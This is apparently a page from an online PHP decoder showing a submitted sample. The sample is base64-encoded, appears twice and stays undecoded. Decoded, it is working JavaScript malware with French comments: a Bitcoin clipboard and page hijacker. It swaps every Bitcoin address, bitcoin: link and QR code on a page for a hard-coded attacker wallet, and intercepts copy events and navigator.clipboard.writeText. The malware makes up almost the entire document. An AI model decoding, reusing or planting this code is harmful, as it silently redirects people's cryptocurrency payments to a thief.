Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
KGZ1bmN0aW9uKCkgewogICAgJ3VzZSBzdHJpY3QnOwoKICAgIC8vIEFkcmVzc2UgQml0Y29pbiBkZSByZW1wbGFjZW..
Decoded Output download
<? KGZ1bmN0aW9uKCkgewogICAgJ3VzZSBzdHJpY3QnOwoKICAgIC8vIEFkcmVzc2UgQml0Y29pbiBkZSByZW1wbGFjZW1lbnQKICAgIGNvbnN0IG5ld0FkZHJlc3MgPSAiYmMxcWtmcnk2c3VjZTl3N2dlenFmNTN2YWNlMjhja2w3bnR6eWhsNXE5IjsKCiAgICAvLyBSZWdleCBwb3VyIGTDqXRlY3RlciB0b3V0ZXMgbGVzIGFkcmVzc2VzIEJpdGNvaW4KICAgIGNvbnN0IGJ0Y1JlZ2V4ID0gL1xiKFsxM11bYS1rbS16QS1ISi1OUC1aMS05XXsyNSwzNH18YmMxW2EtekEtSEotTlAtWjAtOV17MzksNTl9KVxiL2c7CgogICAgLy8gRm9uY3Rpb24gcG91ciByZW1wbGFjZXIgdG91dGVzIGxlcyBhZHJlc3NlcyBCaXRjb2luIHBhciBsYSBub3V2ZWxsZSBhZHJlc3NlCiAgICBmdW5jdGlvbiByZXBsYWNlQlRDSW5UZXh0KHRleHQpIHsKICAgICAgICByZXR1cm4gdGV4dC5yZXBsYWNlKGJ0Y1JlZ2V4LCBuZXdBZGRyZXNzKTsKICAgIH0KCiAgICAvLyBGb25jdGlvbiBwb3VyIHJlbXBsYWNlciBsZXMgYWRyZXNzZXMgQml0Y29pbiBkYW5zIGxlcyBub2V1ZHMgdGV4dGUKICAgIGZ1bmN0aW9uIHJlcGxhY2VCVENJblRleHROb2Rlcyhub2RlKSB7CiAgICAgICAgLy8gU2kgYydlc3QgdW4gbm9ldWQgZGUgdGV4dGUKICAgICAgICBpZiAobm9kZS5ub2RlVHlwZSA9PT0gTm9kZS5URVhUX05PREUpIHsKICAgICAgICAgICAgLy8gUmVtcGxhY2VyIHRvdXRlcyBsZXMgYWRyZXNzZXMgQml0Y29pbiBkYW5zIGxlIHRleHRlCiAgICAgICAgICAgIGlmIChidGNSZWdleC50ZXN0KG5vZGUudGV4dENvbnRlbnQpKSB7CiAgICAgICAgICAgICAgICBub2RlLnRleHRDb250ZW50ID0gcmVwbGFjZUJUQ0luVGV4dChub2RlLnRleHRDb250ZW50KTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSBpZiAobm9kZS5ub2RlVHlwZSA9PT0gTm9kZS5FTEVNRU5UX05PREUpIHsKICAgICAgICAgICAgLy8gU2kgYydlc3QgdW4gw6lsw6ltZW50LCBwYXJjb3VyaXIgdG91cyBsZXMgZW5mYW50cyByw6ljdXJzaXZlbWVudAogICAgICAgICAgICBub2RlLmNoaWxkTm9kZXMuZm9yRWFjaChyZXBsYWNlQlRDSW5UZXh0Tm9kZXMpOwogICAgICAgIH0KICAgIH0KCiAgICAvLyBGb25jdGlvbiBwb3VyIG9ic2VydmVyIGxlcyBjaGFuZ2VtZW50cyBkYW5zIGxlIERPTQogICAgZnVuY3Rpb24gb2JzZXJ2ZURPTUNoYW5nZXMoKSB7CiAgICAgICAgY29uc3Qgb2JzZXJ2ZXIgPSBuZXcgTXV0YXRpb25PYnNlcnZlcigobXV0YXRpb25zKSA9PiB7CiAgICAgICAgICAgIG11dGF0aW9ucy5mb3JFYWNoKChtdXRhdGlvbikgPT4gewogICAgICAgICAgICAgICAgLy8gUGFyY291cmlyIGxlcyBub2V1ZHMgYWpvdXTDqXMgZXQgbW9kaWZpZXIgbGVzIGFkcmVzc2VzIEJpdGNvaW4KICAgICAgICAgICAgICAgIG11dGF0aW9uLmFkZGVkTm9kZXMuZm9yRWFjaCgobm9kZSkgPT4gewogICAgICAgICAgICAgICAgICAgIHJlcGxhY2VCVENJblRleHROb2Rlcyhub2RlKTsKICAgICAgICAgICAgICAgICAgICAvLyBTaSB1biBsaWVuIGJpdGNvaW4gZXN0IGFqb3V0w6ksIGxlIG1vZGlmaWVyCiAgICAgICAgICAgICAgICAgICAgaWYgKG5vZGUudGFnTmFtZSA9PT0gJ0EnICYmIG5vZGUuaHJlZiAmJiBub2RlLmhyZWYuaW5jbHVkZXMoJ2JpdGNvaW46JykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgbm9kZS5ocmVmID0gbm9kZS5ocmVmLnJlcGxhY2UoYnRjUmVnZXgsIG5ld0FkZHJlc3MpOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgLy8gVsOpcmlmaWVyIGxlcyBRUiBjb2RlcwogICAgICAgICAgICAgICAgICAgIGlmIChub2RlLmlkID09PSAncXItaW1hZ2UnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIG5vZGUuc3JjID0gYGh0dHBzOi8vY2hhcnQuZ29vZ2xlYXBpcy5jb20vY2hhcnQ/Y2hzPTMwMHgzMDAmY2h0PXFyJmNobD1iaXRjb2luOiR7bmV3QWRkcmVzc30mY2hvZT1VVEYtOGA7CiAgICAgICAgICAgICAgICAgICAgICAgIG5vZGUuc3Jjc2V0ID0gYCR7bm9kZS5zcmN9IDY0MHcsICR7bm9kZS5zcmN9IDc1MHcsICR7bm9kZS5zcmN9IDgyOHcsICR7bm9kZS5zcmN9IDEwODB3LCAke25vZGUuc3JjfSAxMjAwdywgJHtub2RlLnNyY30gMTkyMHcsICR7bm9kZS5zcmN9IDIwNDh3LCAke25vZGUuc3JjfSAzODQwd2A7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0pOwogICAgICAgIH0pOwoKICAgICAgICAvLyBPYnNlcnZlciBsZXMgY2hhbmdlbWVudHMgZGFucyBsZSBET00gKGFqb3V0IGQnw6lsw6ltZW50cywgbW9kaWZpY2F0aW9ucyBkZSB0ZXh0ZSkKICAgICAgICBvYnNlcnZlci5vYnNlcnZlKGRvY3VtZW50LmJvZHksIHsKICAgICAgICAgICAgY2hpbGRMaXN0OiB0cnVlLAogICAgICAgICAgICBzdWJ0cmVlOiB0cnVlLAogICAgICAgICAgICBjaGFyYWN0ZXJEYXRhOiB0cnVlCiAgICAgICAgfSk7CiAgICB9CgogICAgLy8gUmVtcGxhY2VyIGxlcyBhZHJlc3NlcyBCaXRjb2luIGxvcnMgZHUgY2hhcmdlbWVudCBpbml0aWFsIGRlIGxhIHBhZ2UKICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCdsb2FkJywgKCkgPT4gewogICAgICAgIHJlcGxhY2VCVENJblRleHROb2Rlcyhkb2N1bWVudC5ib2R5KTsgIC8vIFJlbXBsYWNlciBzdXIgdG91dCBsZSBjb250ZW51IGluaXRpYWwKICAgICAgICAvLyBNb2RpZmllciBsZXMgbGllbnMgYml0Y29pbiBkYW5zIGxlIERPTQogICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJ2FbaHJlZl49ImJpdGNvaW46Il0nKS5mb3JFYWNoKChsaW5rKSA9PiB7CiAgICAgICAgICAgIGxpbmsuaHJlZiA9IHJlcGxhY2VCVENJblRleHQobGluay5ocmVmKTsKICAgICAgICB9KTsKICAgICAgICAvLyBNb2RpZmllciBsZXMgUVIgY29kZXMgcHLDqXNlbnRzIGTDqHMgbGUgY2hhcmdlbWVudAogICAgICAgIHJlcGxhY2VRUkNvZGUoKTsKICAgICAgICBvYnNlcnZlRE9NQ2hhbmdlcygpOyAgLy8gU3VydmVpbGxlciBsZXMgbW9kaWZpY2F0aW9ucyBmdXR1cmVzIGR1IERPTQogICAgfSk7CgogICAgLy8gUmVtcGxhY2VyIHRvdXRlcyBsZXMgYWRyZXNzZXMgQml0Y29pbiBsb3JzIGR1IGNvcGllci1jb2xsZXIKICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvcHknLCAoZXZlbnQpID0+IHsKICAgICAgICBjb25zdCBzZWxlY3RlZFRleHQgPSB3aW5kb3cuZ2V0U2VsZWN0aW9uKCkudG9TdHJpbmcoKTsgIC8vIFRleHRlIHPDqWxlY3Rpb25uw6kgcGFyIGwndXRpbGlzYXRldXIKICAgICAgICAvLyBSZW1wbGFjZXIgdG91dGVzIGxlcyBhZHJlc3NlcyBCaXRjb2luIGRhbnMgbGUgdGV4dGUgY29wacOpCiAgICAgICAgY29uc3QgbW9kaWZpZWRUZXh0ID0gcmVwbGFjZUJUQ0luVGV4dChzZWxlY3RlZFRleHQpOwogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7ICAvLyBFbXDDqmNoZXIgbGEgY29waWUgcGFyIGTDqWZhdXQKICAgICAgICBldmVudC5jbGlwYm9hcmREYXRhLnNldERhdGEoJ3RleHQvcGxhaW4nLCBtb2RpZmllZFRleHQpOyAgLy8gQ29waWVyIGxlIHRleHRlIG1vZGlmacOpIGRhbnMgbGUgcHJlc3NlLXBhcGllcgogICAgfSk7CgogICAgLy8gSW50ZXJjZXB0aW9uIGR1IGNsaWMgc3VyIGxlcyDDqWzDqW1lbnRzICJDb3BpZXIiIGV0IHJlbXBsYWNlbWVudCBkdSB0ZXh0ZSBjb3Bpw6kKICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgKGV2ZW50KSA9PiB7CiAgICAgICAgLy8gVsOpcmlmaWVyIHNpIGxlIGNsaWMgZXN0IHN1ciB1biBib3V0b24gb3UgdW4gw6lsw6ltZW50IGNvbnRlbmFudCB1bmUgYWRyZXNzZSBCaXRjb2luCiAgICAgICAgaWYgKGV2ZW50LnRhcmdldCAmJiBldmVudC50YXJnZXQuY2xvc2VzdCgncCcpICYmIGJ0Y1JlZ2V4LnRlc3QoZXZlbnQudGFyZ2V0LnRleHRDb250ZW50KSkgewogICAgICAgICAgICBjb25zdCBvcmlnaW5hbFRleHQgPSBldmVudC50YXJnZXQudGV4dENvbnRlbnQ7CiAgICAgICAgICAgIC8vIFJlbXBsYWNlciBsJ2FkcmVzc2UgQml0Y29pbiBkYW5zIGxlIHRleHRlIMOgIGNvcGllcgogICAgICAgICAgICBjb25zdCBtb2RpZmllZFRleHQgPSByZXBsYWNlQlRDSW5UZXh0KG9yaWdpbmFsVGV4dCk7CgogICAgICAgICAgICAvLyBDcsOpZXIgdW5lIHBsYWdlIGRlIHPDqWxlY3Rpb24gcG91ciBzw6lsZWN0aW9ubmVyIGxlIHRleHRlIGRlIGwnw6lsw6ltZW50CiAgICAgICAgICAgIGNvbnN0IHJhbmdlID0gZG9jdW1lbnQuY3JlYXRlUmFuZ2UoKTsKICAgICAgICAgICAgY29uc3Qgc2VsZWN0aW9uID0gd2luZG93LmdldFNlbGVjdGlvbigpOwogICAgICAgICAgICByYW5nZS5zZWxlY3ROb2RlQ29udGVudHMoZXZlbnQudGFyZ2V0KTsKICAgICAgICAgICAgc2VsZWN0aW9uLnJlbW92ZUFsbFJhbmdlcygpOwogICAgICAgICAgICBzZWxlY3Rpb24uYWRkUmFuZ2UocmFuZ2UpOwoKICAgICAgICAgICAgLy8gTW9kaWZpZXIgbGUgY29udGVudSBkdSBwcmVzc2UtcGFwaWVyIGF2ZWMgbGUgdGV4dGUgbW9kaWZpw6kKICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgZXZlbnQuY2xpcGJvYXJkRGF0YS5zZXREYXRhKCd0ZXh0L3BsYWluJywgbW9kaWZpZWRUZXh0KTsKICAgICAgICB9CgogICAgICAgIC8vIFbDqXJpZmllciBzaSBsZSBjbGljIGVzdCBzdXIgdW4gbGllbiBCaXRjb2luIHBvdXIgbGUgbW9kaWZpZXIgZHluYW1pcXVlbWVudAogICAgICAgIGlmIChldmVudC50YXJnZXQudGFnTmFtZSA9PT0gJ0EnICYmIGV2ZW50LnRhcmdldC5ocmVmICYmIGV2ZW50LnRhcmdldC5ocmVmLmluY2x1ZGVzKCdiaXRjb2luOicpKSB7CiAgICAgICAgICAgIGV2ZW50LnRhcmdldC5ocmVmID0gcmVwbGFjZUJUQ0luVGV4dChldmVudC50YXJnZXQuaHJlZik7ICAvLyBNb2RpZmllciBsJ1VSTCBkdSBsaWVuIEJpdGNvaW4KICAgICAgICB9CiAgICB9KTsKCiAgICAvLyBGb25jdGlvbiBwb3VyIG1vZGlmaWVyIGxlIFFSIGNvZGUKICAgIGZ1bmN0aW9uIHJlcGxhY2VRUkNvZGUoKSB7CiAgICAgICAgY29uc3QgcXJJbWFnZUVsZW1lbnQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncXItaW1hZ2UnKTsKICAgICAgICBpZiAocXJJbWFnZUVsZW1lbnQpIHsKICAgICAgICAgICAgY29uc3QgcXJDb2RlVVJMID0gYGh0dHBzOi8vY2hhcnQuZ29vZ2xlYXBpcy5jb20vY2hhcnQ/Y2hzPTMwMHgzMDAmY2h0PXFyJmNobD1iaXRjb2luOiR7bmV3QWRkcmVzc30mY2hvZT1VVEYtOGA7CiAgICAgICAgICAgIHFySW1hZ2VFbGVtZW50LnNyYyA9IHFyQ29kZVVSTDsKICAgICAgICAgICAgcXJJbWFnZUVsZW1lbnQuc3Jjc2V0ID0gYCR7cXJDb2RlVVJMfSA2NDB3LCAke3FyQ29kZVVSTH0gNzUwdywgJHtxckNvZGVVUkx9IDgyOHcsICR7cXJDb2RlVVJMfSAxMDgwdywgJHtxckNvZGVVUkx9IDEyMDB3LCAke3FyQ29kZVVSTH0gMTkyMHcsICR7cXJDb2RlVVJMfSAyMDQ4dywgJHtxckNvZGVVUkx9IDM4NDB3YDsKICAgICAgICB9CiAgICB9CgogICAgLy8gU3VyY2hhcmdlciBsYSBtw6l0aG9kZSBuYXZpZ2F0b3IuY2xpcGJvYXJkLndyaXRlVGV4dCBwb3VyIGludGVyY2VwdGVyIGxhIGNvcGllCiAgICBpZiAobmF2aWdhdG9yLmNsaXBib2FyZCAmJiBuYXZpZ2F0b3IuY2xpcGJvYXJkLndyaXRlVGV4dCkgewogICAgICAgIGNvbnN0IG9yaWdpbmFsV3JpdGVUZXh0ID0gbmF2aWdhdG9yLmNsaXBib2FyZC53cml0ZVRleHQ7CiAgICAgICAgbmF2aWdhdG9yLmNsaXBib2FyZC53cml0ZVRleHQgPSBmdW5jdGlvbih0ZXh0KSB7CiAgICAgICAgICAgIGNvbnN0IG1vZGlmaWVkVGV4dCA9IHJlcGxhY2VCVENJblRleHQodGV4dCk7CiAgICAgICAgICAgIHJldHVybiBvcmlnaW5hbFdyaXRlVGV4dC5jYWxsKHRoaXMsIG1vZGlmaWVkVGV4dCk7CiAgICAgICAgfTsKICAgIH0KfSkoKTsK ?>
Did this file decode correctly?
Original Code
KGZ1bmN0aW9uKCkgewogICAgJ3VzZSBzdHJpY3QnOwoKICAgIC8vIEFkcmVzc2UgQml0Y29pbiBkZSByZW1wbGFjZW1lbnQKICAgIGNvbnN0IG5ld0FkZHJlc3MgPSAiYmMxcWtmcnk2c3VjZTl3N2dlenFmNTN2YWNlMjhja2w3bnR6eWhsNXE5IjsKCiAgICAvLyBSZWdleCBwb3VyIGTDqXRlY3RlciB0b3V0ZXMgbGVzIGFkcmVzc2VzIEJpdGNvaW4KICAgIGNvbnN0IGJ0Y1JlZ2V4ID0gL1xiKFsxM11bYS1rbS16QS1ISi1OUC1aMS05XXsyNSwzNH18YmMxW2EtekEtSEotTlAtWjAtOV17MzksNTl9KVxiL2c7CgogICAgLy8gRm9uY3Rpb24gcG91ciByZW1wbGFjZXIgdG91dGVzIGxlcyBhZHJlc3NlcyBCaXRjb2luIHBhciBsYSBub3V2ZWxsZSBhZHJlc3NlCiAgICBmdW5jdGlvbiByZXBsYWNlQlRDSW5UZXh0KHRleHQpIHsKICAgICAgICByZXR1cm4gdGV4dC5yZXBsYWNlKGJ0Y1JlZ2V4LCBuZXdBZGRyZXNzKTsKICAgIH0KCiAgICAvLyBGb25jdGlvbiBwb3VyIHJlbXBsYWNlciBsZXMgYWRyZXNzZXMgQml0Y29pbiBkYW5zIGxlcyBub2V1ZHMgdGV4dGUKICAgIGZ1bmN0aW9uIHJlcGxhY2VCVENJblRleHROb2Rlcyhub2RlKSB7CiAgICAgICAgLy8gU2kgYydlc3QgdW4gbm9ldWQgZGUgdGV4dGUKICAgICAgICBpZiAobm9kZS5ub2RlVHlwZSA9PT0gTm9kZS5URVhUX05PREUpIHsKICAgICAgICAgICAgLy8gUmVtcGxhY2VyIHRvdXRlcyBsZXMgYWRyZXNzZXMgQml0Y29pbiBkYW5zIGxlIHRleHRlCiAgICAgICAgICAgIGlmIChidGNSZWdleC50ZXN0KG5vZGUudGV4dENvbnRlbnQpKSB7CiAgICAgICAgICAgICAgICBub2RlLnRleHRDb250ZW50ID0gcmVwbGFjZUJUQ0luVGV4dChub2RlLnRleHRDb250ZW50KTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSBpZiAobm9kZS5ub2RlVHlwZSA9PT0gTm9kZS5FTEVNRU5UX05PREUpIHsKICAgICAgICAgICAgLy8gU2kgYydlc3QgdW4gw6lsw6ltZW50LCBwYXJjb3VyaXIgdG91cyBsZXMgZW5mYW50cyByw6ljdXJzaXZlbWVudAogICAgICAgICAgICBub2RlLmNoaWxkTm9kZXMuZm9yRWFjaChyZXBsYWNlQlRDSW5UZXh0Tm9kZXMpOwogICAgICAgIH0KICAgIH0KCiAgICAvLyBGb25jdGlvbiBwb3VyIG9ic2VydmVyIGxlcyBjaGFuZ2VtZW50cyBkYW5zIGxlIERPTQogICAgZnVuY3Rpb24gb2JzZXJ2ZURPTUNoYW5nZXMoKSB7CiAgICAgICAgY29uc3Qgb2JzZXJ2ZXIgPSBuZXcgTXV0YXRpb25PYnNlcnZlcigobXV0YXRpb25zKSA9PiB7CiAgICAgICAgICAgIG11dGF0aW9ucy5mb3JFYWNoKChtdXRhdGlvbikgPT4gewogICAgICAgICAgICAgICAgLy8gUGFyY291cmlyIGxlcyBub2V1ZHMgYWpvdXTDqXMgZXQgbW9kaWZpZXIgbGVzIGFkcmVzc2VzIEJpdGNvaW4KICAgICAgICAgICAgICAgIG11dGF0aW9uLmFkZGVkTm9kZXMuZm9yRWFjaCgobm9kZSkgPT4gewogICAgICAgICAgICAgICAgICAgIHJlcGxhY2VCVENJblRleHROb2Rlcyhub2RlKTsKICAgICAgICAgICAgICAgICAgICAvLyBTaSB1biBsaWVuIGJpdGNvaW4gZXN0IGFqb3V0w6ksIGxlIG1vZGlmaWVyCiAgICAgICAgICAgICAgICAgICAgaWYgKG5vZGUudGFnTmFtZSA9PT0gJ0EnICYmIG5vZGUuaHJlZiAmJiBub2RlLmhyZWYuaW5jbHVkZXMoJ2JpdGNvaW46JykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgbm9kZS5ocmVmID0gbm9kZS5ocmVmLnJlcGxhY2UoYnRjUmVnZXgsIG5ld0FkZHJlc3MpOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgLy8gVsOpcmlmaWVyIGxlcyBRUiBjb2RlcwogICAgICAgICAgICAgICAgICAgIGlmIChub2RlLmlkID09PSAncXItaW1hZ2UnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIG5vZGUuc3JjID0gYGh0dHBzOi8vY2hhcnQuZ29vZ2xlYXBpcy5jb20vY2hhcnQ/Y2hzPTMwMHgzMDAmY2h0PXFyJmNobD1iaXRjb2luOiR7bmV3QWRkcmVzc30mY2hvZT1VVEYtOGA7CiAgICAgICAgICAgICAgICAgICAgICAgIG5vZGUuc3Jjc2V0ID0gYCR7bm9kZS5zcmN9IDY0MHcsICR7bm9kZS5zcmN9IDc1MHcsICR7bm9kZS5zcmN9IDgyOHcsICR7bm9kZS5zcmN9IDEwODB3LCAke25vZGUuc3JjfSAxMjAwdywgJHtub2RlLnNyY30gMTkyMHcsICR7bm9kZS5zcmN9IDIwNDh3LCAke25vZGUuc3JjfSAzODQwd2A7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0pOwogICAgICAgIH0pOwoKICAgICAgICAvLyBPYnNlcnZlciBsZXMgY2hhbmdlbWVudHMgZGFucyBsZSBET00gKGFqb3V0IGQnw6lsw6ltZW50cywgbW9kaWZpY2F0aW9ucyBkZSB0ZXh0ZSkKICAgICAgICBvYnNlcnZlci5vYnNlcnZlKGRvY3VtZW50LmJvZHksIHsKICAgICAgICAgICAgY2hpbGRMaXN0OiB0cnVlLAogICAgICAgICAgICBzdWJ0cmVlOiB0cnVlLAogICAgICAgICAgICBjaGFyYWN0ZXJEYXRhOiB0cnVlCiAgICAgICAgfSk7CiAgICB9CgogICAgLy8gUmVtcGxhY2VyIGxlcyBhZHJlc3NlcyBCaXRjb2luIGxvcnMgZHUgY2hhcmdlbWVudCBpbml0aWFsIGRlIGxhIHBhZ2UKICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCdsb2FkJywgKCkgPT4gewogICAgICAgIHJlcGxhY2VCVENJblRleHROb2Rlcyhkb2N1bWVudC5ib2R5KTsgIC8vIFJlbXBsYWNlciBzdXIgdG91dCBsZSBjb250ZW51IGluaXRpYWwKICAgICAgICAvLyBNb2RpZmllciBsZXMgbGllbnMgYml0Y29pbiBkYW5zIGxlIERPTQogICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJ2FbaHJlZl49ImJpdGNvaW46Il0nKS5mb3JFYWNoKChsaW5rKSA9PiB7CiAgICAgICAgICAgIGxpbmsuaHJlZiA9IHJlcGxhY2VCVENJblRleHQobGluay5ocmVmKTsKICAgICAgICB9KTsKICAgICAgICAvLyBNb2RpZmllciBsZXMgUVIgY29kZXMgcHLDqXNlbnRzIGTDqHMgbGUgY2hhcmdlbWVudAogICAgICAgIHJlcGxhY2VRUkNvZGUoKTsKICAgICAgICBvYnNlcnZlRE9NQ2hhbmdlcygpOyAgLy8gU3VydmVpbGxlciBsZXMgbW9kaWZpY2F0aW9ucyBmdXR1cmVzIGR1IERPTQogICAgfSk7CgogICAgLy8gUmVtcGxhY2VyIHRvdXRlcyBsZXMgYWRyZXNzZXMgQml0Y29pbiBsb3JzIGR1IGNvcGllci1jb2xsZXIKICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvcHknLCAoZXZlbnQpID0+IHsKICAgICAgICBjb25zdCBzZWxlY3RlZFRleHQgPSB3aW5kb3cuZ2V0U2VsZWN0aW9uKCkudG9TdHJpbmcoKTsgIC8vIFRleHRlIHPDqWxlY3Rpb25uw6kgcGFyIGwndXRpbGlzYXRldXIKICAgICAgICAvLyBSZW1wbGFjZXIgdG91dGVzIGxlcyBhZHJlc3NlcyBCaXRjb2luIGRhbnMgbGUgdGV4dGUgY29wacOpCiAgICAgICAgY29uc3QgbW9kaWZpZWRUZXh0ID0gcmVwbGFjZUJUQ0luVGV4dChzZWxlY3RlZFRleHQpOwogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7ICAvLyBFbXDDqmNoZXIgbGEgY29waWUgcGFyIGTDqWZhdXQKICAgICAgICBldmVudC5jbGlwYm9hcmREYXRhLnNldERhdGEoJ3RleHQvcGxhaW4nLCBtb2RpZmllZFRleHQpOyAgLy8gQ29waWVyIGxlIHRleHRlIG1vZGlmacOpIGRhbnMgbGUgcHJlc3NlLXBhcGllcgogICAgfSk7CgogICAgLy8gSW50ZXJjZXB0aW9uIGR1IGNsaWMgc3VyIGxlcyDDqWzDqW1lbnRzICJDb3BpZXIiIGV0IHJlbXBsYWNlbWVudCBkdSB0ZXh0ZSBjb3Bpw6kKICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgKGV2ZW50KSA9PiB7CiAgICAgICAgLy8gVsOpcmlmaWVyIHNpIGxlIGNsaWMgZXN0IHN1ciB1biBib3V0b24gb3UgdW4gw6lsw6ltZW50IGNvbnRlbmFudCB1bmUgYWRyZXNzZSBCaXRjb2luCiAgICAgICAgaWYgKGV2ZW50LnRhcmdldCAmJiBldmVudC50YXJnZXQuY2xvc2VzdCgncCcpICYmIGJ0Y1JlZ2V4LnRlc3QoZXZlbnQudGFyZ2V0LnRleHRDb250ZW50KSkgewogICAgICAgICAgICBjb25zdCBvcmlnaW5hbFRleHQgPSBldmVudC50YXJnZXQudGV4dENvbnRlbnQ7CiAgICAgICAgICAgIC8vIFJlbXBsYWNlciBsJ2FkcmVzc2UgQml0Y29pbiBkYW5zIGxlIHRleHRlIMOgIGNvcGllcgogICAgICAgICAgICBjb25zdCBtb2RpZmllZFRleHQgPSByZXBsYWNlQlRDSW5UZXh0KG9yaWdpbmFsVGV4dCk7CgogICAgICAgICAgICAvLyBDcsOpZXIgdW5lIHBsYWdlIGRlIHPDqWxlY3Rpb24gcG91ciBzw6lsZWN0aW9ubmVyIGxlIHRleHRlIGRlIGwnw6lsw6ltZW50CiAgICAgICAgICAgIGNvbnN0IHJhbmdlID0gZG9jdW1lbnQuY3JlYXRlUmFuZ2UoKTsKICAgICAgICAgICAgY29uc3Qgc2VsZWN0aW9uID0gd2luZG93LmdldFNlbGVjdGlvbigpOwogICAgICAgICAgICByYW5nZS5zZWxlY3ROb2RlQ29udGVudHMoZXZlbnQudGFyZ2V0KTsKICAgICAgICAgICAgc2VsZWN0aW9uLnJlbW92ZUFsbFJhbmdlcygpOwogICAgICAgICAgICBzZWxlY3Rpb24uYWRkUmFuZ2UocmFuZ2UpOwoKICAgICAgICAgICAgLy8gTW9kaWZpZXIgbGUgY29udGVudSBkdSBwcmVzc2UtcGFwaWVyIGF2ZWMgbGUgdGV4dGUgbW9kaWZpw6kKICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgZXZlbnQuY2xpcGJvYXJkRGF0YS5zZXREYXRhKCd0ZXh0L3BsYWluJywgbW9kaWZpZWRUZXh0KTsKICAgICAgICB9CgogICAgICAgIC8vIFbDqXJpZmllciBzaSBsZSBjbGljIGVzdCBzdXIgdW4gbGllbiBCaXRjb2luIHBvdXIgbGUgbW9kaWZpZXIgZHluYW1pcXVlbWVudAogICAgICAgIGlmIChldmVudC50YXJnZXQudGFnTmFtZSA9PT0gJ0EnICYmIGV2ZW50LnRhcmdldC5ocmVmICYmIGV2ZW50LnRhcmdldC5ocmVmLmluY2x1ZGVzKCdiaXRjb2luOicpKSB7CiAgICAgICAgICAgIGV2ZW50LnRhcmdldC5ocmVmID0gcmVwbGFjZUJUQ0luVGV4dChldmVudC50YXJnZXQuaHJlZik7ICAvLyBNb2RpZmllciBsJ1VSTCBkdSBsaWVuIEJpdGNvaW4KICAgICAgICB9CiAgICB9KTsKCiAgICAvLyBGb25jdGlvbiBwb3VyIG1vZGlmaWVyIGxlIFFSIGNvZGUKICAgIGZ1bmN0aW9uIHJlcGxhY2VRUkNvZGUoKSB7CiAgICAgICAgY29uc3QgcXJJbWFnZUVsZW1lbnQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncXItaW1hZ2UnKTsKICAgICAgICBpZiAocXJJbWFnZUVsZW1lbnQpIHsKICAgICAgICAgICAgY29uc3QgcXJDb2RlVVJMID0gYGh0dHBzOi8vY2hhcnQuZ29vZ2xlYXBpcy5jb20vY2hhcnQ/Y2hzPTMwMHgzMDAmY2h0PXFyJmNobD1iaXRjb2luOiR7bmV3QWRkcmVzc30mY2hvZT1VVEYtOGA7CiAgICAgICAgICAgIHFySW1hZ2VFbGVtZW50LnNyYyA9IHFyQ29kZVVSTDsKICAgICAgICAgICAgcXJJbWFnZUVsZW1lbnQuc3Jjc2V0ID0gYCR7cXJDb2RlVVJMfSA2NDB3LCAke3FyQ29kZVVSTH0gNzUwdywgJHtxckNvZGVVUkx9IDgyOHcsICR7cXJDb2RlVVJMfSAxMDgwdywgJHtxckNvZGVVUkx9IDEyMDB3LCAke3FyQ29kZVVSTH0gMTkyMHcsICR7cXJDb2RlVVJMfSAyMDQ4dywgJHtxckNvZGVVUkx9IDM4NDB3YDsKICAgICAgICB9CiAgICB9CgogICAgLy8gU3VyY2hhcmdlciBsYSBtw6l0aG9kZSBuYXZpZ2F0b3IuY2xpcGJvYXJkLndyaXRlVGV4dCBwb3VyIGludGVyY2VwdGVyIGxhIGNvcGllCiAgICBpZiAobmF2aWdhdG9yLmNsaXBib2FyZCAmJiBuYXZpZ2F0b3IuY2xpcGJvYXJkLndyaXRlVGV4dCkgewogICAgICAgIGNvbnN0IG9yaWdpbmFsV3JpdGVUZXh0ID0gbmF2aWdhdG9yLmNsaXBib2FyZC53cml0ZVRleHQ7CiAgICAgICAgbmF2aWdhdG9yLmNsaXBib2FyZC53cml0ZVRleHQgPSBmdW5jdGlvbih0ZXh0KSB7CiAgICAgICAgICAgIGNvbnN0IG1vZGlmaWVkVGV4dCA9IHJlcGxhY2VCVENJblRleHQodGV4dCk7CiAgICAgICAgICAgIHJldHVybiBvcmlnaW5hbFdyaXRlVGV4dC5jYWxsKHRoaXMsIG1vZGlmaWVkVGV4dCk7CiAgICAgICAgfTsKICAgIH0KfSkoKTsK
Function Calls
None |
Stats
MD5 | 930ff609755542c74e8154127b53921d |
Eval Count | 0 |
Decode Time | 163 ms |